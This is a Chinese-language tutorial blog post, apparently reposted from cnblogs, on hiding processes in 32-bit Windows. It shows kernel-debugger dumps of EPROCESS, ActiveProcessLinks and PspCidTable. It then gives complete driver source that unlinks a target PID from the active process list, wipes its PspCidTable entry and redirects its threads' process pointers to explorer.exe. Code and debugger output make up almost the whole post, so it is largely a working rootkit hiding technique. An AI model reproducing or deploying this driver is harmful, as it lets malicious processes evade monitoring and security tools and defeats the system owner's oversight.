总结一下进程隐藏的一些基本套路吧,适合萌新。
关于进程隐藏,网上说的最多的就是hook NtQuerySystemInformation吧,要么就是在内核去操作ActiveProcessLinks链表,这其实都是一个原理,都是去操作内核的活动进程链表,这个方法也着实有效
1
2
3
4
5
6
7
8
9
10
11
|
kd> dt _eprocess ntdll!_EPROCESS + 0x000 Pcb : _KPROCESS + 0x098 ProcessLock : _EX_PUSH_LOCK + 0x0a0 CreateTime : _LARGE_INTEGER + 0x0a8 ExitTime : _LARGE_INTEGER + 0x0b0 RundownProtect : _EX_RUNDOWN_REF + 0x0b4 UniqueProcessId : Ptr32 Void + 0x0b8 ActiveProcessLinks : _LIST_ENTRY + 0x0c0 ProcessQuotaUsage : [ 2 ] Uint4B … |
1
2
3
4
5
6
7
8
9
10
|
kd> ln PsActiveProcessHead ( 83f5cf18 ) nt!PsActiveProcessHead | ( 83f5cf20 ) nt!PsReaperWorkItem Exact matches: nt!PsActiveProcessHead = kd> dd 83f5cf18 83f5cf18 85fe37d8 83bf6d30 00000000 00000000 kd> ! object 85fe37d8 - b8 Object : 85fe3720 Type : ( 85fe3cb0 ) Process ObjectHeader: 85fe3708 (new version) HandleCount: 3 PointerCount: 140 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
kd> u PsLookupProcessByProcessId l 20 nt!PsLookupProcessByProcessId: 84076575 8bff mov edi,edi 84076577 55 push ebp 84076578 8bec mov ebp,esp 8407657a 83ec0c sub esp, 0Ch 840765a6 8a03 mov al,byte ptr [ebx] … 840765ac 750b jne nt!PsLookupProcessByProcessId + 0x44 ( 840765b9 ) 840765ae 8bd3 mov edx,ebx 840765b0 e83d8ee3ff call nt!ObReferenceObjectSafe ( 83eaf3f2 ) 840765b5 84c0 test al,al 840765b7 7502 jne nt!PsLookupProcessByProcessId + 0x46 ( 840765bb ) 840765b9 33db xor ebx,ebx 840765bb a134cff583 mov eax,dword ptr [nt!PspCidTable ( 83f5cf34 )] 840765c0 33c9 xor ecx,ecx … |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
kd> dt _handle_table 83f5cf34 nt!_HANDLE_TABLE + 0x000 TableCode : 0x87a01210 + 0x004 QuotaProcess : (null) + 0x008 UniqueProcessId : 0x80000020 Void + 0x00c HandleLock : _EX_PUSH_LOCK + 0x010 HandleTableList : _LIST_ENTRY [ 0x80000300 - 0x80000024 ] + 0x018 HandleContentionEvent : _EX_PUSH_LOCK + 0x01c DebugInfo : (null) + 0x020 ExtraInfoPages : 0n0 + 0x024 Flags : 0 + 0x024 StrictFIFO : 0y0 + 0x028 FirstFreeHandle : 0 + 0x02c LastFreeHandleEntry : 0x00000113 _HANDLE_TABLE_ENTRY + 0x030 HandleCount : 0 + 0x034 NextHandleNeedingPool : 0 + 0x038 HandleCountHighWatermark : 0x83f0d35a |
1
2
|
kd> dd 0x87a01210 87a01210 9453a001 00000000 00000000 00000000 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
kd> dd 9453a000 9453a000 87a04000 9454b000 00000000 00000000 得到两个地址 87a04000 , 9454b000 即为一级表的地址, kd> dd 87a04000 87a04000 00000000 fffffffe 85fe3721 00000000 87a04010 85fe3419 00000000 85ffebb9 00000000 87a04020 85ffe8e1 00000000 85ffe609 00000000 87a04030 85fefac9 00000000 85fef7f1 00000000 87a04040 85fef519 00000000 85fef241 00000000 87a04050 85ff0021 00000000 85ff0d49 00000000 87a04060 85ff0a71 00000000 85ff0799 00000000 87a04070 85ff04c1 00000000 85ff1021 00000000 typedef struct _HANDLE_TABLE_ENTRY { union { PVOID Object ; UINT32 ObAttributes; struct _HANDLE_TABLE_ENTRY * InfoTable; UINT32 Value; }; union { UINT32 GrantedAccess; struct { USHORT GrantedAccessIndex; USHORT CreatorBackTraceIndex; }; INT32 NextFreeTableEntry; }; } HANDLE_TABLE_ENTRY, * PHANDLE_TABLE_ENTRY; |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
|
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 文件名称:hide_process.cpp * 作 者:Justgoon * 完成日期: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include "hide_process.h" / / 需要隐藏进程pid #define HIDE_PID 2544 / / explorer进程pid #define EXPLORER_PID 1840 PEPROCESS pEpro_hide; PEPROCESS pEpro_explorer; PLIST_ENTRY threadLink; PLIST_ENTRY hide_activeProcessLink; ULONG * addressOfObjInPspCidTable; #pragma PAGEDCODE NTSTATUS EnumTable1(ULONG uTableCode) { ULONG uIndex = 1 ; PVOID data = NULL; ANSI_STRING ANSI_ProcessName = { 0 }; UNICODE_STRING UNICODE_ProcessName = { 0 }; PHANDLE_TABLE_ENTRY pHandleTableEntry = NULL; pHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG)( * (PULONG)uTableCode) + 8 ); for (uIndex = 1 ; uIndex < 0x200 ; uIndex + + ) { if (pHandleTableEntry - > Object ! = NULL) { PEPROCESS pCurEProcess = (PEPROCESS)(((ULONG)pHandleTableEntry - > Object ) & 0xFFFFFFF8 ); if (pEpro_hide = = pCurEProcess) { * (ULONG * )pHandleTableEntry = (ULONG) 0x00000000 ; addressOfObjInPspCidTable = (ULONG * )pHandleTableEntry; return STATUS_SUCCESS; } } pHandleTableEntry + + ; } return STATUS_UNSUCCESSFUL; } #pragma PAGEDCODE NTSTATUS EnumTable2(ULONG uTableCode) { NTSTATUS status = STATUS_UNSUCCESSFUL; do { status = EnumTable1(uTableCode); if (NT_SUCCESS(status)) { return status; } uTableCode + = 4 ; } while ( * (PULONG)uTableCode ! = 0 ); return status; } #pragma PAGEDCODE NTSTATUS EnumTable3(ULONG uTableCode) { NTSTATUS status = STATUS_UNSUCCESSFUL; do { status = EnumTable2(uTableCode); if (NT_SUCCESS(status)) { return status; } uTableCode + = 4 ; } while ( * (PULONG)uTableCode ! = 0 ); return status; } #pragma PAGEDCODE ULONG GetPspCidTableValue() { PVOID pPsLookupProcessByProcessIdAddress = NULL; ULONG ulPspCidTableValue = 0 ; ULONG uIndex = 0 ; UNICODE_STRING ustrFuncName; RtlInitUnicodeString(&ustrFuncName, L "PsLookupProcessByProcessId" ); pPsLookupProcessByProcessIdAddress = MmGetSystemRoutineAddress(&ustrFuncName); if (pPsLookupProcessByProcessIdAddress = = NULL) { return ulPspCidTableValue; } KdPrint(( "PsLookupProcessByProcessId->%08X" , pPsLookupProcessByProcessIdAddress)); for (uIndex = 0 ; uIndex < 0x1000 ; uIndex + + ) { if ( * ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex)) = = 0x8B && * ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 1 )) = = 0x3D && * ((PUCHAR)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 6 )) = = 0xE8 ) { KdPrint(( "Found PspCidTable OK!!" )); ulPspCidTableValue = * ((PULONG)((ULONG)pPsLookupProcessByProcessIdAddress + uIndex + 2 )); break ; } } return ulPspCidTableValue; } #pragma PAGEDCODE NTSTATUS EnumPspCidTable() { ULONG uFlag = 0 ; ULONG uTableCode = 0 ; ULONG ulPspCidTable = 0 ; PVOID data = NULL; NTSTATUS status = STATUS_SUCCESS; PHANDLE_TABLE pHandleTable = NULL; ulPspCidTable = GetPspCidTableValue(); if (ulPspCidTable = = 0 ) { return STATUS_UNSUCCESSFUL; } pHandleTable = (PHANDLE_TABLE)( * (PULONG)ulPspCidTable); KdPrint(( "pHandleTable->%p" , pHandleTable)); uTableCode = (pHandleTable - >TableCode) & 0xFFFFFFFC ; uFlag = (pHandleTable - >TableCode) & 0x03 ; KdPrint(( "uTableCode->%08X" , uTableCode)); switch (uFlag) { case 0 : { status = EnumTable1(uTableCode); break ; } case 1 : { status = EnumTable2(uTableCode); break ; } case 2 : { status = EnumTable3(uTableCode); break ; } } return status; } #pragma PAGEDCODE NTSTATUS hide_process_by_pid(ULONG pid_hide) { PLIST_ENTRY curItem; PKTHREAD pKthread; BOOLEAN isFound = FALSE; NTSTATUS status = STATUS_SUCCESS; status = PsLookupProcessByProcessId((HANDLE)pid_hide, &pEpro_hide); if (!NT_SUCCESS(status)) { return status; } status = PsLookupProcessByProcessId((HANDLE)EXPLORER_PID, &pEpro_explorer); if (!NT_SUCCESS(status)) { return status; } threadLink = (PLIST_ENTRY)((char * )pEpro_hide + 0x188 ); if (!MmIsAddressValid(threadLink)) { KdPrint(( "threadLink found err" )); return STATUS_UNSUCCESSFUL; } hide_activeProcessLink = (PLIST_ENTRY)((char * )pEpro_hide + 0x0b8 ); if (!MmIsAddressValid(hide_activeProcessLink)) { KdPrint(( "activeProcessLink found err" )); return STATUS_UNSUCCESSFUL; } / / 遍历进程中的线程,修改线程中eprocess指针,使其指向explorer curItem = threadLink - >Flink; while (curItem) { pKthread = (PKTHREAD)((char * )curItem - 0x268 ); if (MmIsAddressValid(pKthread)) { * (ULONG * )((char * )pKthread + 0x150 ) = (ULONG)pEpro_explorer; } curItem = curItem - >Flink; if (curItem = = threadLink - >Flink) { break ; } } / / 断activeProcessLink链表 hide_activeProcessLink - >Blink - >Flink = hide_activeProcessLink - >Flink; hide_activeProcessLink - >Flink - >Blink = hide_activeProcessLink - >Blink; / / 抹去PspCidTable中隐藏进程的eprocess地址 status = EnumPspCidTable(); if (!NT_SUCCESS(status)) { return status; } return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT pDriverObject) { PKTHREAD pKthread; PLIST_ENTRY curItem; PLIST_ENTRY activeProcessLink; PLIST_ENTRY activeProcessLinkNext; / / 恢复PspCidTable if (MmIsAddressValid(addressOfObjInPspCidTable)) { * addressOfObjInPspCidTable = (ULONG)pEpro_hide | 0x00000001 ; } / / 恢复活动进程链 activeProcessLink = (PLIST_ENTRY)((char * )pEpro_explorer + 0x0b8 ); activeProcessLinkNext = activeProcessLink - >Flink; / / 循环链表的插入 activeProcessLink - >Flink = hide_activeProcessLink; hide_activeProcessLink - >Blink = activeProcessLink; hide_activeProcessLink - >Flink = activeProcessLinkNext; activeProcessLinkNext - >Blink = hide_activeProcessLink; / / 恢复线程中eprocess指针 if (MmIsAddressValid(threadLink)) { curItem = threadLink - >Flink; while (curItem) { pKthread = (PKTHREAD)((char * )curItem - 0x268 ); if (MmIsAddressValid(pKthread)) { * (ULONG * )((char * )pKthread + 0x150 ) = (ULONG)pEpro_hide; } curItem = curItem - >Flink; if (curItem = = threadLink - >Flink) { break ; } } } KdPrint(( "DriverUnload" )); } #pragma INITCODE NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) { pDriverObject - >DriverUnload = DriverUnload; KdPrint(( "DriverEntry" )); return hide_process_by_pid(HIDE_PID); } |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
|
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 文件名称:hide_process.h * 作 者:Justgoon * 完成日期: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include #include #define PAGEDCODE code_seg("PAGE") #define LOCKEDCODE code_seg() #define INITCODE code_seg("INIT") #define PAGEDDATA data_seg("PAGE") #define LOCKEDDATA data_seg() #define INITDATA data_seg("INIT") typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { USHORT UniqueProcessId; USHORT CreatorBackTraceIndex; UCHAR ObjectTypeIndex; UCHAR HandleAttributes; USHORT HandleValue; PVOID Object ; ULONG GrantedAccess; } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; typedef struct _HANDLE_TABLE_ENTRY { union { PVOID Object ; UINT32 ObAttributes; struct _HANDLE_TABLE_ENTRY * InfoTable; UINT32 Value; }; union { UINT32 GrantedAccess; struct { USHORT GrantedAccessIndex; USHORT CreatorBackTraceIndex; }; INT32 NextFreeTableEntry; }; } HANDLE_TABLE_ENTRY, * PHANDLE_TABLE_ENTRY; typedef struct _HANDLE_TRACE_DB_ENTRY { CLIENT_ID ClientId; PVOID Handle; ULONG Type ; VOID * StackTrace[ 16 ]; } HANDLE_TRACE_DB_ENTRY, * PHANDLE_TRACE_DB_ENTRY; typedef struct _HANDLE_TRACE_DEBUG_INFO { LONG RefCount; ULONG TableSize; ULONG BitMaskFlags; FAST_MUTEX CloseCompactionLock; ULONG CurrentStackIndex; HANDLE_TRACE_DB_ENTRY TraceDb[ 1 ]; } HANDLE_TRACE_DEBUG_INFO, * PHANDLE_TRACE_DEBUG_INFO; typedef struct _HANDLE_TABLE { ULONG TableCode; PEPROCESS QuotaProcess; PVOID UniqueProcessId; EX_PUSH_LOCK HandleLock; LIST_ENTRY HandleTableList; EX_PUSH_LOCK HandleContentionEvent; PHANDLE_TRACE_DEBUG_INFO DebugInfo; LONG ExtraInfoPages; ULONG Flags; ULONG FirstFreeHandle; PHANDLE_TABLE_ENTRY LastFreeHandleEntry; LONG HandleCount; ULONG NextHandleNeedingPool; } HANDLE_TABLE, * PHANDLE_TABLE; NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath); |
原文:https://www.cnblogs.com/macanpsc/p/11670337.html